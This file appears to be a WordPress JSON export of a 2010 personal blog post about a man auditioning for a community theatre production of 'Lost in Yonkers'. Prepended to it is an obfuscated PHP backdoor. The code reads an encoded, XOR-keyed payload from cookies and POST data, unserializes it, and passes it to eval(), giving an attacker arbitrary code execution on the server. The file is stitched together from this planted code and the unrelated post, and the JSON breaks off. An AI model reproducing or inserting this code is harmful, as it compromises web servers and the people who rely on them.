$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":928,"date":"2010-04-20T08:34:22","date_gmt":"2010-04-20T12:34:22","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=928"},"modified":"2010-04-20T08:34:22","modified_gmt":"2010-04-20T12:34:22","slug":"taking-the-plunge","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=928","title":{"rendered":"Taking the Plunge"},"content":{"rendered":"

I didn\u2019t make my decision until the last minute. In fact, I didn\u2019t even mention it to anyone until I announced I was going.<\/p>\n

Last month, I auditioned for a part in the play \u201cLost in Yonkers\u201d<\/a> at the Hanover Little Theatre<\/a>. I told my wife about 20 minutes before auditions started because I didn\u2019t want to have time to change my mind.<\/p>\n

Actually, the thought had bounced around in my head for a while. When I played a small part in the \u201cMiracle on 34^{th<\/sup> Street\u201d production at Hanover High School last year, I wondered if I wanted to give the acting thing a try.<\/p>\n}

A few people told me that I had done a good job in that show, and some even encouraged me to get on stage again. I actually believed them.<\/p>\n

I knew exactly when the \u201cLost in Yonkers\u201d auditions would take place, but I put the idea in the back of my head. I wanted to think about it.<\/p>\n

The way I saw it, if I talked about things too early, I would force one of a few situations. Either I would chicken out and regret not taking a chance or I would force myself to go even though the idea didn\u2019t appeal to me as much as it once did.<\/p>\n

So I managed to keep my mouth shut for a change. The day grew closer, and I started to think about whether I really wanted to do it.<\/p>\n

Because I grew up with seven siblings who also serve as historians for every goofy thing I have done, I have edged toward the shy side of the scale much of my life around people I don\u2019t know.<\/p>\n

I have tried to change that over the past few years. I have tried to embrace my inner goof and not worry about that trial period where I try and judge whether I want people to see me that way.<\/p>\n

This embarrasses my daughter to no end, of course, but that\u2019s a different nut for some therapist to crack down the line.<\/p>\n

I just didn\u2019t know if I wanted to take this new philosophy onto the stage again. I liked being small part of a big ensemble, but didn\u2019t know if I could handle all that this play would entail.<\/p>\n

Then something good happened the morning of auditions totally unrelated to this decision and put a spring in my step. I drove home that day with a smile on my face and pretty much no fear.<\/p>\n

That\u2019s how I ended up going to the audition. And I somehow got a part. I had to look at the e-mail with that news twice to make sure I read it correctly on the first go-around.<\/p>\n

So now I am learning my lines and figuring out just when I need to stand up, where I need to walk and fretting about whether I will remember all the little quirks I need for my character.<\/p>\n

Remember, this is the guy who drove four blocks with his coffee mug on top of the car a few weeks ago. This could get interesting.<\/p>\n","protected":false},"excerpt":{"rendered":"